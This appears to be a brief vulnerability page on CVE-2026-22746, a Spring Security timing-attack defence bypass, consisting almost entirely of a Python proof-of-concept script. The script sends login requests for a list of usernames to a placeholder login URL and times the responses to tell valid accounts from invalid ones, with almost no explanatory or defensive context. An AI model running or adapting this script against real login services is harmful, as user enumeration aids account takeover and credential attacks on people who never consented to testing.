CVE-2026-22746 Spring Security时序攻击防御绕过漏洞

import requests import time def check_user_timing(url, username, password): """ Attempts to detect timing differences to enumerate users. """ payload = {'username': username, 'password': password} start_time = time.time() # Make the request. Adjust the endpoint and parameters based on the target application. response = requests.post(url, data=payload) end_time = time.time() elapsed = end_time - start_time return elapsed # Example usage target_url = "http://target-application/login" user_list = ["admin", "testuser", "nonexistentuser"] for user in user_list: # Measure time for a valid user (potentially locked/disabled) # vs an invalid user. duration = check_user_timing(target_url, user, "random_password") print(f"User: {user}, Response Time: {duration:.6f}s")